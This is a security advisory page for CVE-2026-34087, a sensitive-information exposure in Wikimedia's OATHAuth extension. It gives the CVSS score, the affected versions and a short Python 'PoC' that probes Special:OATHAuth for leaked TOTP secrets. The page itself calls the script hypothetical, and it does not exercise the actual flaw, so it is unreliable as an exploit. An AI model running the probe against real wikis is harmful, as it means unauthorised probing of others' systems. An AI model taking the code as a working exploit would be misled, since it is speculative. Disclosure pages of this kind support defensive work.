Security Vulnerability Report
中文
CVE-2026-34087 CVSS 7.5 HIGH

CVE-2026-34087

Published: 2026-05-11 16:17:30
Last Modified: 2026-05-14 17:02:01
Source: c4f26cc8-17ff-4c99-b5e2-38fc1793eacc

Description

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth. This issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:* - VULNERABLE
OATHAuth < 1.43.7
OATHAuth < 1.44.4
OATHAuth < 1.45.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CVE-2026-34087 OATHAuth Sensitive Information Disclosure # Description: PoC to demonstrate information disclosure vulnerability in OATHAuth. # Note: This is a hypothetical PoC based on the vulnerability description. target_url = "http://target-wiki/wiki/Special:OATHAuth" try: # Send a request to the vulnerable endpoint without authentication response = requests.get(target_url) if response.status_code == 200: print("[+] Request successful. Checking for sensitive data leakage...") # Hypothetical check for leaked TOTP secret in response body if "secret" in response.text.lower() or "otpauth" in response.text.lower(): print("[!] Potential sensitive information found in response:") print(response.text) else: print("[-] No obvious leakage detected in this specific response.") else: print(f"[-] Target returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
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